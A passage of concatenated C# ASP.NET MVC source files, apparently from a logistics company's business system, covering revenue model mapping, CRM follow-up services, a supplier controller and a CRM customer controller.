RevenueModel1.EXCreditDebitOS = Convert.ToDouble(Revenue1.EXCreditDebit_OS);
RevenueModel1.EXDocumentFee = Convert.ToDouble(Revenue1.EXDocumentFee);
RevenueModel1.EXHandingFee = Convert.ToDouble(Revenue1.EXHandingFee);
RevenueModel1.EXTHC = Convert.ToDouble(Revenue1.EXTHC);
RevenueModel1.EXCFS = Convert.ToDouble(Revenue1.EXCFS);
RevenueModel1.EXManualName1 = Revenue1.EXManualName1;
RevenueModel1.EXManualName2 = Revenue1.EXManualName2;
RevenueModel1.EXManualValue1 = Convert.ToDouble(Revenue1.EXManualValue1);
RevenueModel1.ExManualValue2 = Convert.ToDouble(Revenue1.ExManualValue2);
RevenueModel1.EXmanualValue1OS = Convert.ToDouble(Revenue1.EXmanualValue1_OS);
RevenueModel1.EXmanualValue2OS = Convert.ToDouble(Revenue1.EXmanualValue2_OS);
RevenueModel1.InvoiceCustom = Convert.ToDouble(Revenue1.InvoiceCustom);
RevenueModel1.Description4Invoice = Revenue1.Description4Invoice;
RevenueModel1.INRemark = Revenue1.INRemark;
RevenueModel1.EXRemark = Revenue1.EXRemark;
RevenueModel1.INRemarkHidden = Revenue1.INRemark;
RevenueModel1.EXRemarkHidden = Revenue1.EXRemark;
RevenueModel1.Income = Convert.ToDouble(Revenue1.Income);
RevenueModel1.INVI = Convert.ToDouble(Revenue1.INVI);
RevenueModel1.INOS = Convert.ToDouble(Revenue1.INOS);
RevenueModel1.Expense = Convert.ToDouble(Revenue1.Expense);
RevenueModel1.EXVI = Convert.ToDouble(Revenue1.EXVI);
RevenueModel1.EXOS = Convert.ToDouble(Revenue1.EXOS);
RevenueModel1.Earning = Convert.ToDouble(Revenue1.Earning);
RevenueModel1.EarningVI = Convert.ToDouble(Revenue1.EarningVI);
RevenueModel1.EarningOS = Convert.ToDouble(Revenue1.EarningOS);
RevenueModel1.InvType1 = Revenue1.InvType1;
RevenueModel1.InvType2 = Revenue1.InvType2;
RevenueModel1.InvAgentId1 = Revenue1.InvAgentId1;
RevenueModel1.InvAgentId2 = Revenue1.InvAgentId2;
RevenueModel1.InvAmount1 = Revenue1.InvAmount1;
RevenueModel1.InvAmount2 = Revenue1.InvAmount2;
RevenueModel1.InvCurrency1 = Revenue1.Currency1;
RevenueModel1.InvCurrency2 = Revenue1.Currency2;
RevenueModel1.BonRequest = Convert.ToDouble(Revenue1.BonApprove);
RevenueModel1.BonApprove = Convert.ToDouble(Revenue1.BonApprove);
RevenueModel1.AmountBonus1 = Revenue1.AmountBonus1;
RevenueModel1.AmountBonus2 = Revenue1.AmountBonus2;
RevenueModel1.AccInv1 = Revenue1.AccInv1;
RevenueModel1.AccInv2 = Revenue1.AccInv2;
RevenueModel1.AccInv3 = Revenue1.AccInv3;
RevenueModel1.AccInv4 = Revenue1.AccInv4;
RevenueModel1.AccInvDate1 = Revenue1.AccInvDate1 != null ? Revenue1.AccInvDate1.Value.ToString("dd/MM/yyyy") : "";
RevenueModel1.AccInvDate2 = Revenue1.AccInvDate2 != null ? Revenue1.AccInvDate2.Value.ToString("dd/MM/yyyy") : "";
RevenueModel1.AccInvDate3 = Revenue1.AccInvDate3 != null ? Revenue1.AccInvDate3.Value.ToString("dd/MM/yyyy") : "";
RevenueModel1.AccInvDate4 = Revenue1.AccInvDate4 != null ? Revenue1.AccInvDate4.Value.ToString("dd/MM/yyyy") : "";
RevenueModel1.SaleType = Revenue1.SaleType;
RevenueModel1.ApproveId = Revenue1.ApproveId;
if (Revenue1.User != null)
{
RevenueModel1.ApproveName = Revenue1.User.FullName;
}
RevenueModel1.Tax = Revenue1.Tax;
RevenueModel1.AccountId = Revenue1.AccountId;
if (Revenue1.PaidToCarrier == null)
{
RevenueModel1.PaidToCarrier = Revenue1.Shipment.CarrierAirId.Value;
}
else
{
RevenueModel1.PaidToCarrier = Revenue1.PaidToCarrier.Value;
}
if (Revenue1.Shipment != null && Revenue1.Shipment.IsTrading != null && Revenue1.Shipment.IsTrading == true)
{
RevenueModel1.IsTrading = true;
}
else
{
RevenueModel1.IsTrading = false;
}
RevenueModel1.Shipment = Revenue1.Shipment;
RevenueModel1.IsControl = Revenue1.IsControl ?? false;
RevenueModel1.IsRequest = Revenue1.IsRequest ;
RevenueModel1.IsRevised = Revenue1.IsRevised ;
return RevenueModel1;
}
public static Revenue InitRevenue()
{
Revenue Revenue1 = new Revenue();
Revenue1.Id = 0;
Revenue1.BRate = 0;
Revenue1.ARate = 0;
Revenue1.SRate = 0;
Revenue1.INTransportRate = 0;
Revenue1.INInlandService = 0;
Revenue1.INCreditDebit = 0;
Revenue1.INDocumentFee = 0;
Revenue1.INHandingFee = 0;
Revenue1.INTHC = 0;
Revenue1.INCFS = 0;
Revenue1.INAutoValue1 = 0;
Revenue1.INAutoValue2 = 0;
Revenue1.OUTAutoValue1 = 0;
Revenue1.OUTAutoValue2 = 0;
Revenue1.INTransportRate_OS = 0;
Revenue1.INInlandService_OS = 0;
Revenue1.INCreditDebit_OS = 0;
Revenue1.INDocumentFee_OS = 0;
Revenue1.INHandingFee_OS = 0;
Revenue1.INAutoValue1_OS = 0;
Revenue1.INAutoValue2_OS = 0;
Revenue1.EXAutoValue1_OS = 0;
Revenue1.EXAutoValue2_OS = 0;
Revenue1.EXTransportRate_OS = 0;
Revenue1.EXTransportRate = 0;
Revenue1.EXInlandService_OS = 0;
Revenue1.EXInlandService = 0;
Revenue1.EXCommision2Shipper = 0;
Revenue1.EXCommision2Carrier = 0;
Revenue1.EXTax = 0;
Revenue1.EXCreditDebit = 0;
Revenue1.EXCreditDebit_OS = 0;
Revenue1.EXDocumentFee = 0;
Revenue1.EXHandingFee = 0;
Revenue1.EXTHC = 0;
Revenue1.EXCFS = 0;
Revenue1.EXManualValue1 = 0;
Revenue1.ExManualValue2 = 0;
Revenue1.EXmanualValue1_OS = 0;
Revenue1.EXmanualValue2_OS = 0;
Revenue1.InvoiceCustom = 0;
Revenue1.Description4Invoice = "";
Revenue1.INRemark = "";
Revenue1.EXRemark = "";
Revenue1.Income = 0;
Revenue1.INVI = 0;
Revenue1.INOS = 0;
Revenue1.Expense = 0;
Revenue1.EXVI = 0;
Revenue1.EXOS = 0;
Revenue1.Earning = 0;
Revenue1.EarningVI = 0;
Revenue1.EarningOS = 0;
Revenue1.InvAmount1 = 0;
Revenue1.InvAmount2 = 0;
Revenue1.AmountBonus1 = 0;
Revenue1.AmountBonus2 = 0;
Revenue1.BonRequest = 0;
Revenue1.BonApprove = 0;
Revenue1.AmountBonus1 = 0;
Revenue1.AmountBonus2 = 0;
Revenue1.Tax = 0;
return Revenue1;
}
public enum InvTypes
{
[StringLabel("VN Debit")]
VNDebit,
[StringLabel("Vn Credit")]
VNCredit,
[StringLabel("Agent Debit")]
AgentDebit,
[StringLabel("Agent Credit")]
AgentCredit
}
public enum CurrencyTypes
{
[StringLabel("USD")]
USD,
[StringLabel("EUR")]
EUR,
[StringLabel("GBP")]
GBP,
[StringLabel("AUD")]
AUD
}
}
}<file_sep>using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc.Html;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMUserFollowCustomerService : IServices<CRMFollowCusUser>
{
long InsertToDb(CRMFollowCusUserModel model);
bool DeleteToDb(long id);
bool Look(long id, bool isLock, User user);
List<CRMFollowCusUser> GetListByCus(long cusId);
List<CRMFollowCusUserModel> GetListModelsByCus(long cusId);
CRMFollowCusUserModel GetModelById(long id);
}
public class CRMUserFollowCustomerService : Services<CRMFollowCusUser>, ICRMUserFollowCustomerService
{
public long InsertToDb(CRMFollowCusUserModel model)
{
var db = new CRMFollowCusUser()
{
CrmId = model.CrmId,
UserId = model.UserId,
IsLook = false,
AddById = model.AddById
};
var newDb = (CRMFollowCusUser)Insert(db);
return newDb.Id;
}
public bool DeleteToDb(long id)
{
var db = FindEntity(x => x.Id == id);
Delete(db);
return true;
}
public bool Look(long id, bool isLock, User user)
{
var db = FindEntity(x => x.Id == id);
db.IsLook = isLock;
db.LockById = user.Id;
Commited();
return true;
}
public List<CRMFollowCusUser> GetListByCus(long cusId)
{
var list = GetQuery(x => x.CrmId == cusId);
return list.ToList();
}
public List<CRMFollowCusUserModel> GetListModelsByCus(long cusId)
{
var list = GetListByCus(cusId);
return list.Select(x=> ToMode(x)).ToList();
throw new System.NotImplementedException();
}
private CRMFollowCusUserModel ToMode(CRMFollowCusUser db)
{
var model = Mapper.Map<CRMFollowCusUserModel>(db);
return model;
}
public CRMFollowCusUserModel GetModelById(long id)
{
var db = FindEntity(x => x.Id == id);
return ToMode(db);
}
}
public interface ICRMUserFollowEventService : IServices<CRMFollowEventUser>
{
long InsertToDb(CRMFollowEventUserModel model);
bool DeleteToDb(long id);
bool Look(long id, bool isLock, User user);
List<CRMFollowEventUser> GetListByCus(long cusId);
List<CRMFollowEventUserModel> GetListModelsByCus(long cusId);
CRMFollowEventUserModel GetModelById(long id);
}
public class CRMUserFollowEventService : Services<CRMFollowEventUser>, ICRMUserFollowEventService
{
public long InsertToDb(CRMFollowEventUserModel model)
{
var db = new CRMFollowEventUser()
{
VisitId = model.VisitId,
UserId = model.UserId,
IsLook = false,
AddById = model.AddById
};
var newDb = (CRMFollowEventUser)Insert(db);
return newDb.Id;
}
public bool DeleteToDb(long id)
{
var db = FindEntity(x => x.Id == id);
Delete(db);
return true;
}
public bool Look(long id, bool isLock, User user)
{
var db = FindEntity(x => x.Id == id);
db.IsLook = isLock;
db.LockById = user.Id;
Commited();
return true;
}
public List<CRMFollowEventUser> GetListByCus(long cusId)
{
var list = GetQuery(x => x.VisitId == cusId);
return list.ToList();
}
public List<CRMFollowEventUserModel> GetListModelsByCus(long cusId)
{
var list = GetListByCus(cusId);
return list.Select(x => ToMode(x)).ToList();
}
private CRMFollowEventUserModel ToMode(CRMFollowEventUser db)
{
var model = Mapper.Map<CRMFollowEventUserModel>(db);
return model;
}
public CRMFollowEventUserModel GetModelById(long id)
{
var db = FindEntity(x => x.Id == id);
return ToMode(db);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class SupplierController : Controller
{
private GridNew<Supplier, SupplierModels> _supplierGrid;
private const string SUPPLIER_SEARCH_MODEL = "SUPPLIER_SEARCH_MODEL";
private User currentUser;
private ShipmentServices _shipmentServices;
private ISupplierServices _supplierServices;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
currentUser = (User)Session[AccountController.USER_SESSION_ID];
_shipmentServices = new ShipmentServicesImpl();
_supplierServices = new SupplierSerivecs();
ViewData["CountryList"] = new SelectList(_supplierServices.GetAllCountry(), "Id", "CountryName");
}
public ActionResult Index()
{
_supplierGrid = (GridNew<Supplier, SupplierModels>)Session[SUPPLIER_SEARCH_MODEL];
if (_supplierGrid == null)
{
_supplierGrid = new GridNew<Supplier, SupplierModels>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "FullName"
})
{
SearchCriteria = new Supplier()
};
}
_supplierGrid.Model = new SupplierModels();
UpdateGridSupplierData();
return View(_supplierGrid);
}
[HttpPost]
public ActionResult Index( GridNew<Supplier, SupplierModels> grid)
{
_supplierGrid = grid;
Session[SUPPLIER_SEARCH_MODEL] = grid;
_supplierGrid.ProcessAction();
UpdateGridSupplierData();
return PartialView("_ListData",_supplierGrid);
}
private void UpdateGridSupplierData()
{
var page = _supplierGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "FullName" : page.Sidx, page.Sord == "asc");
var rows = 0;
//var suppliers = _supplierServices.GetAll(_supplierGrid.SearchCriteria, sort, out rows, page.CurrentPage, page.PageSize);
var suppliers = _supplierServices.GetAll(_supplierGrid.SearchCriteria );
var q = suppliers.OrderBy(sort);
rows = q.Count();
_supplierGrid.Pager.Init(rows);
if (rows == 0)
{
_supplierGrid.Data = new List<Supplier>();
return;
}
_supplierGrid.Data = _supplierServices.GetListPager(q,page.CurrentPage,page.PageSize);
//_supplierGrid.Data = suppliers;
}
public ActionResult SupplierDelete(long id)
{
_supplierServices.DeleteSupplier(id);
return RedirectToAction("Index", new { id = 0 });
}
[HttpGet]
public ActionResult Edit(long id)
{
ViewData["CountryList"] = new SelectList(_supplierServices.GetAllCountry(), "Id", "CountryName");
var model = _supplierServices.GetSupplierModel(id);
model = model ?? new SupplierModels();
return PartialView("_formEditView", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(SupplierModels model)
{
ViewData["CountryList"] = new SelectList(_supplierServices.GetAllCountry(), "Id", "CountryName");
if (ModelState.IsValid)
{
if (model.Id > 0)
{
model.ModifiedBy = currentUser.Id;
model.DateModify = DateTime.Now;
_supplierServices.UpdateSupplier(model);
}
else
{
model.CreatedBy = currentUser.Id;
model.DateCreate = DateTime.Now;
model.Id = 0;
_supplierServices.InsertSupplier(model);
}
return Json(1);
}
return PartialView("_formEditView", model);
}
public JsonResult SupplierSuggest(string term)
{
var result = _supplierServices.GetAll()
.Where(x => x.FullName.ToLower().Contains(term.ToLower()))
.OrderBy(x => x.FullName).Take(20)
.ToList()
.Select(x => new { id = x.Id, Display = x.FullName });
return Json(result, JsonRequestBehavior.AllowGet);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web.Mvc;
using AutoMapper;
using Infodinamica.Framework.Exportable.Engines;
using Infodinamica.Framework.Exportable.Engines.Excel;
using Microsoft.Office.Interop.Excel;
using Resources;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
using SortField = SSM.Services.SortField;
namespace SSM.Controllers
{
public class CRMController : BaseController
{
#region Defined properties
private ISettingService settingService;
private ICRMService crmService;
private ICRMPriceQuotationService priceQuotationService;
private ICRMEventService eventService;
private IServerFileService fileService;
private ICRMDocumentService documentService;
private ICRMGroupService crmGroupService;
private ICRMSourceService crmSourceService;
private ICRMStatusService crmStatusService;
private ICRMJobCategoryService jobCategoryService;
private UsersServices usersServices;
private ICRMContactService crmContactService;
private ICRMCustomerService crmCustomerService;
private IProvinceService provinceService;
private ICustomerServices customerServices;
private ICRMEvetypeService evetypeService;
private ICRMPLanProgramService planProgramService;
private ICRMPriceStatusService priceStatusService;
private IHistoryService historyService;
private const String CRMCUSTOMER_SEARCH_MODEL = "CRMCUSTOMER_SEARCH_MODEL";
private Grid<CRMFilterProfitResult> _customerGrid;
private CRMSearchModel filterModel;
public const string CRM_SEARCH_MODEL = "CRM_SEARCH_MODEL";
public const string CRM_SEARCH_RESULT = "CRM_SEARCH_RESULT";
private IEnumerable<SaleType> saleTypes;
private ICRMEmailHistoryService emailHistoryService;
private ICRMScheduleServiec scheduleServiec;
private ICRMUserFollowCustomerService followCustomerService;
private ICRMUserFollowEventService followEventService;
private ShipmentServices shipmentServices;
private int days = 365;
#endregion
#region Contractor
public CRMController()
{
settingService = new SettingServices();
crmService = new CRMService();
priceQuotationService = new CRMPriceQuotationService();
eventService = new CRMEventService();
documentService = new CRMDocumentService();
fileService = new ServerFileService();
crmCustomerService = new CRMCustomerService();
crmGroupService = new CRMGroupService();
crmSourceService = new CRMSourceService();
crmStatusService = new CRMStatusService();
jobCategoryService = new CRMJobCategoryService();
crmContactService = new CRMContactService();
usersServices = new UsersServicesImpl();
provinceService = new ProvinceService();
customerServices = new CustomerServices();
evetypeService = new CRMEvetypeService();
planProgramService = new CRMPLanProgramService();
historyService = new HistoryService();
emailHistoryService = new CRMEmailHistoryService();
scheduleServiec = new CRMScheduleServiec();
priceStatusService = new CRMPriceStatusService();
followCustomerService = new CRMUserFollowCustomerService();
followEventService = new CRMUserFollowEventService();
shipmentServices = new ShipmentServicesImpl();
var crmstting = usersServices.CRMDayCanelSettingNumber();
days = int.Parse(crmstting.DataValue);
}
private IList<CRMStatus> statuses;
private IList<CRMSource> sources;
private IList<CRMJobCategory> jobCategories;
private IList<CRMGroup> groups;
private List<User> users;
private List<Province> provinces;
private IEnumerable<Country> countries;
private IEnumerable<Department> departments;
public void IndexDefaltData()
{
statuses = statuses ?? crmStatusService.GetAll();
sources = sources ?? crmSourceService.GetAll();
saleTypes = saleTypes ?? usersServices.getAllSaleTypes(true);
users = users ?? usersServices.GetAllSales(CurrenUser, false).OrderBy(x => x.FullName).ToList();
departments = departments ?? usersServices.GetAllDepartmentActive(CurrenUser);
groups = groups ?? crmGroupService.GetAll();
ViewData["Statuses"] = statuses;
ViewData["Sources"] = sources;
ViewData["SaleTypes"] = saleTypes;
ViewData["UserSalesList"] = users;
ViewData["Departments"] = departments;
ViewData["Groups"] = groups;
}
public void GetBaseData()
{
statuses = statuses ?? crmStatusService.GetAll();
sources = sources ?? crmSourceService.GetAll();
jobCategories = jobCategories ?? jobCategoryService.GetAll();
groups = groups ?? crmGroupService.GetAll();
saleTypes = saleTypes ?? usersServices.getAllSaleTypes(true);
provinces = provinces ?? provinceService.GetAllByCountryId(126);
ViewData["Statuses"] = statuses;
ViewData["Sources"] = sources;
ViewData["JobCategories"] = jobCategories;
ViewData["Groups"] = groups;
countries = countries ?? crmGroupService.GetAllCountry();
ViewData["Countries"] = countries;
ViewData["States"] = provinces;
ViewData["SaleTypes"] = saleTypes;
users = users ?? usersServices.GetAllSales(CurrenUser, false).OrderBy(x => x.FullName).ToList();
ViewData["UserSalesList"] = users;
}
#endregion
#region Index Function
public ActionResult Index()
{
filterModel = (CRMSearchModel)Session[CRM_SEARCH_MODEL];
_customerGrid = (Grid<CRMFilterProfitResult>)Session[CRMCUSTOMER_SEARCH_MODEL];
if (_customerGrid == null)
{
_customerGrid = new Grid<CRMFilterProfitResult>
(
new Pager
{
CurrentPage = 1,
PageSize = 50,
Sord = "asc",
Sidx = "CompanyShortName"
}
);
}
//var listUpdate =
// crmCustomerService.GetAll(
// x =>
// x.SsmCusId.HasValue && x.CRMStatus.Code != 4 &&
// (x.DateCancel == null || x.DateCancel.Value >= DateTime.Now.AddHours(-1)));
//foreach (var crm in listUpdate)
//{
// SetSatusCrm(crm);
//}
UpdateGrid();
IndexDefaltData();
return View(_customerGrid);
}
[HttpPost]
public ActionResult Index(CRMSearchModel fModel, Grid<CRMFilterProfitResult> grid, string ClearSearch)
{
_customerGrid = grid;
_customerGrid.ProcessAction();
filterModel = fModel;
if (ClearSearch == "yes")
{
filterModel = null;
}
UpdateGrid();
Session[CRMCUSTOMER_SEARCH_MODEL] = _customerGrid;
return PartialView("_List", _customerGrid);
}
private void UpdateGrid()
{
var totalRow = 0;
int totalHashSipment = 0;
var page = _customerGrid.Pager;
filterModel = filterModel ?? new CRMSearchModel
{
PeriodDate = PeriodDate.CreateDate,
FromDate = new DateTime(DateTime.Now.Year, DateTime.Now.Month, 1),
ToDate = DateTime.Now,
};
ViewBag.SearchingMode = filterModel;
Session[CRM_SEARCH_MODEL] = filterModel;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "CompanyShortName" : page.Sidx, page.Sord == "asc");
int totalSeccessCount = 0;
int totalClientCount = 0;
int totalFolowCount = 0;
var list = new List<CRMFilterProfitResult>();
#region getData
IEnumerable<CRMFilterProfitResult> customers = crmCustomerService.GetAllCRMResults(filterModel, sort, out totalRow, page.CurrentPage, page.PageSize, CurrenUser, out totalSeccessCount, out totalClientCount, out totalFolowCount);
_customerGrid.Pager.Init(totalRow);
if (totalRow == 0)
{
_customerGrid.Data = new List<CRMFilterProfitResult>();
ViewBag.TotalDisplay = string.Empty;
Session[CRM_SEARCH_RESULT] = null;
return;
}
var dblist = customers.ToList();
foreach (var itemC in dblist)
{
if (itemC.AnyShipmentOld == true)
itemC.Code = CRMStatusCode.Client;
else if (itemC.AnyShipmentOld == false && itemC.TotalShipmentSuccess > 0)
itemC.Code = CRMStatusCode.Success;
else
itemC.Code = CRMStatusCode.Potential;
list.Add(itemC);
}
#endregion
_customerGrid.Data = list;
//cached result for export excel
int followOrther, cusFollow, cusRegular, cuscompleted, cusFinish, totalCusTyle, totalCus;
followOrther = cusFollow = cusRegular = cuscompleted = cusFinish = totalCusTyle = totalCus = 0;
if (CurrenUser.IsDirecter())
{
totalCus = totalRow;
followOrther = list.Count(x => (filterModel.SalesId == 0 || x.Customer.CreatedById != filterModel.SalesId)
&& (filterModel.DeptId == 0 || x.CreaterdBy.DeptId != filterModel.DeptId));
cusFollow = list.Count(x => x.Code == CRMStatusCode.Potential
&& (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId)
&& (filterModel.DeptId == 0 || x.CreaterdBy.DeptId == filterModel.DeptId));
cuscompleted = list.Count(x => x.Code == CRMStatusCode.Success
&& (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId)
&& (filterModel.DeptId == 0 || x.CreaterdBy.DeptId == filterModel.DeptId));
cusFinish = list.Count(x => x.Code == CRMStatusCode.Client
&& (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId)
&& (filterModel.DeptId == 0 || x.CreaterdBy.DeptId == filterModel.DeptId));
// labelName = "(Of Office)";
if (filterModel.SalesId != 0)
{
totalCus = totalRow - followOrther;
}
else if (filterModel.DeptId != 0)
{
totalCus = totalRow - followOrther;// labelName = "( Of Department)";
}
}
else if (CurrenUser.IsDepManager())
{
// labelName = "(Of Department)";
// if (filterModel.SalesId != 0) labelName = string.Empty;
followOrther = list.Count(x => x.Customer.User.DeptId != CurrenUser.DeptId && (filterModel.SalesId == 0 || x.Customer.CreatedById != filterModel.SalesId));
cusFollow = list.Count(x => x.Code == CRMStatusCode.Potential && x.CreaterdBy.DeptId == CurrenUser.DeptId && (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId));
// cusRegular = list.Count(x => x.Code == CRMStatusCode.Regularly && x.CreaterdBy.DeptId == CurrenUser.DeptId && (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId));
cuscompleted = list.Count(x => x.Code == CRMStatusCode.Success && x.CreaterdBy.DeptId == CurrenUser.DeptId && (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId));
cusFinish = list.Count(x => x.Code == CRMStatusCode.Client && x.CreaterdBy.DeptId == CurrenUser.DeptId && (filterModel.SalesId == 0 || x.Customer.CreatedById == filterModel.SalesId));
totalCus = totalRow - followOrther;
}
else
{
// labelName = string.Empty;
followOrther = list.Count(x => x.Customer.CreatedById != CurrenUser.Id);
cusFollow = list.Count(x => x.Code == CRMStatusCode.Potential && x.Customer.CreatedById == CurrenUser.Id);
// cusRegular = list.Count(x => x.Customer.CRMStatus.Code == (byte)CRMStatusCode.Regularly && x.Customer.CreatedById == CurrenUser.Id);
cuscompleted = list.Count(x => x.Code == CRMStatusCode.Success && x.Customer.CreatedById == CurrenUser.Id);
cusFinish = list.Count(x => x.Code == CRMStatusCode.Client && x.Customer.CreatedById == CurrenUser.Id);
totalCus = totalRow - followOrther;
}
var totalPage = page.PageSize > totalRow ? totalRow : page.PageSize;
totalCusTyle = cusFollow + cuscompleted;
var totalgolobalCusTyle = totalFolowCount + totalSeccessCount;
ViewBag.TotalDisplay = string.Format(Resources.Resource.CRM_CUSTOMER_LIST_TOTAL, totalPage, "", cusFollow,
cuscompleted, cusFinish);
ViewBag.TotalCots = string.Format(Resources.Resource.CRM_CUSTOMER_COTS, cuscompleted, totalCusTyle, totalCusTyle == 0 ? "N/A" : "" + cuscompleted * 100 / totalCusTyle, "");
ViewBag.TotalSummaryDisplay = string.Format(Resources.Resource.CRM_CUSTOMER_LIST_TOTAL, totalCus, "", totalFolowCount,
totalSeccessCount, totalClientCount);
ViewBag.TotalSummaryCots = string.Format(Resources.Resource.CRM_CUSTOMER_COTS, totalSeccessCount, totalgolobalCusTyle, totalgolobalCusTyle == 0 ? "N/A" : "" + totalSeccessCount * 100 / totalgolobalCusTyle, "");
}
#endregion
#region Base Data
public ActionResult CRMBaseList()
{
var baseGrid = new Grid<CRMBaseModel>(new Pager
{
CurrentPage = 1,
PageSize = 20,
Sord = "asc",
Sidx = "Name"
});
baseGrid.SearchCriteria = new CRMBaseModel() { ModelTypeName = BaseModelTypeName.JOBCATEGORY };
baseGrid = UpdateBaseGird(baseGrid);
return View(baseGrid);
}
Grid<CRMBaseModel> UpdateBaseGird(Grid<CRMBaseModel> grid)
{
var sort = new SortField(grid.Pager.Sidx, grid.Pager.Sord == "asc");
switch (grid.SearchCriteria.ModelTypeName)
{
case BaseModelTypeName.SOURCE:
grid.Data = crmSourceService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List Nguồn";
ViewBag.ModelType = ModelType.CRMSource;
break;
case BaseModelTypeName.GROUP:
grid.Data = crmGroupService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List Group";
ViewBag.ModelType = ModelType.CRMGroup;
break;
case BaseModelTypeName.STATUS:
grid.Data = crmStatusService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List Status";
ViewBag.ModelType = ModelType.CRMStatus;
break;
case BaseModelTypeName.EVENTTYPE:
grid.Data = evetypeService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List Event type";
ViewBag.ModelType = ModelType.CRMEventType;
break;
case BaseModelTypeName.PLANPROGRAM:
grid.Data = planProgramService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List Program of plan";
ViewBag.ModelType = ModelType.CRMPlanProgram;
break;
case BaseModelTypeName.PRICESTATUS:
grid.Data = priceStatusService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List price Status of plan";
ViewBag.ModelType = ModelType.CRMPriceStatus;
break;
case BaseModelTypeName.JOBCATEGORY:
default:
grid.Data = jobCategoryService.GetList(sort, grid.SearchCriteria.Name);
ViewBag.Title = "List Ngành nghề kinh doanh";
ViewBag.ModelType = ModelType.CRMJobCategory;
break;
}
return grid;
}
[HttpPost]
public ActionResult CRMBaseList(Grid<CRMBaseModel> grid)
{
grid.ProcessAction();
grid = UpdateBaseGird(grid);
return PartialView("_ListBase", grid);
}
[HttpGet]
public ActionResult AddBaseData(ModelType modelType, bool isList = false)
{
if (modelType == ModelType.UserModel)
return PartialView("_UserListSugget");
var model = new CRMBaseModel { ModelType = modelType };
if (modelType == ModelType.CRMGroup)
ViewData["Groups"] = crmGroupService.GetAll(x => !x.ParentId.HasValue);
ViewBag.IsList = isList;
if (isList == true)
{
var value = new
{
Views = this.RenderPartialView("_CRMBaseView", model),
Title = string.Format(@"Tạo thông tin cho {0}", modelType.ToString()),
};
return JsonResult(value, true);
}
return PartialView("_CRMBaseView", model);
}
[HttpPost]
public ActionResult AddBaseData(CRMBaseModel model, bool isList = false)
{
ViewBag.IsList = isList;
if (model.ModelType == ModelType.CRMGroup)
ViewData["Groups"] = crmGroupService.GetAll(x => !x.ParentId.HasValue);
if (!ModelState.IsValid)
{
return PartialView("_CRMBaseView", model);
}
try
{
CRMBaseModel data = new CRMBaseModel();
if (model.Id > 0)
data = model;
switch (model.ModelType)
{
case ModelType.CRMSource:
if (model.Id > 0)
crmSourceService.UpdateCRMGroup(model);
else
data = crmSourceService.InsertCRMGroup(model);
break;
case ModelType.CRMGroup:
if (model.Id > 0)
crmGroupService.UpdateCRMGroup(model);
else
data = crmGroupService.InsertCRMGroup(model);
break;
case ModelType.CRMJobCategory:
if (model.Id > 0)
jobCategoryService.UpdateCRMGroup(model);
else
data = jobCategoryService.InsertCRMGroup(model);
break;
case ModelType.CRMStatus:
if (model.Id > 0)
crmStatusService.UpdateCRMGroup(model);
else
data = crmStatusService.InsertCRMGroup(model);
break;
case ModelType.CRMEventType:
if (model.Id > 0)
evetypeService.UpdateModel(model);
else
data = evetypeService.InsertModel(model);
break;
case ModelType.CRMPlanProgram:
if (model.Id > 0)
planProgramService.UpdateModel(model);
else
data = planProgramService.InsertModel(model);
break;
case ModelType.CRMPriceStatus:
if (model.Id > 0)
priceStatusService.UpdateModel(model);
else
data = priceStatusService.InsertModel(model);
break;
}
return Json(new
{
Success = true,
type = model.ModelType,
Message = "Tạo mới thành công",
Model = data
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
ModelState.AddModelError(string.Empty, "Error! " + ex.Message);
Logger.Log(ex.ToString());
return PartialView("_CRMBaseView", model);
}
}
[HttpGet]
public ActionResult EditBaseData(int id, ModelType modelType, bool isList = true)
{
CRMBaseModel data = new CRMBaseModel();
switch (modelType)
{
case ModelType.CRMSource:
data = Mapper.Map<CRMBaseModel>(crmSourceService.FindEntity(x => x.Id == id));
break;
case ModelType.CRMGroup:
ViewData["Groups"] = crmGroupService.GetAll(x => !x.ParentId.HasValue);
data = Mapper.Map<CRMBaseModel>(crmGroupService.FindEntity(x => x.Id == id));
break;
case ModelType.CRMJobCategory:
data = Mapper.Map<CRMBaseModel>(jobCategoryService.FindEntity(x => x.Id == id));
break;
case ModelType.CRMStatus:
data = Mapper.Map<CRMBaseModel>(crmStatusService.FindEntity(x => x.Id == id));
break;
case ModelType.CRMEventType:
data = Mapper.Map<CRMBaseModel>(evetypeService.FindEntity(x => x.Id == id));
break;
case ModelType.CRMPlanProgram:
data = Mapper.Map<CRMBaseModel>(planProgramService.FindEntity(x => x.Id == id));
break;
case ModelType.CRMPriceStatus:
data = Mapper.Map<CRMBaseModel>(priceStatusService.FindEntity(x => x.Id == id));
break;
}
ViewBag.IsList = isList;
var value = new
{
Views = this.RenderPartialView("_CRMBaseView", data),
Title = string.Format(@"Sữa thông tin cho {0}", modelType.ToString()),
};
return JsonResult(value, true);
}
public ActionResult DelBaseData(int id, ModelType modelType)
{
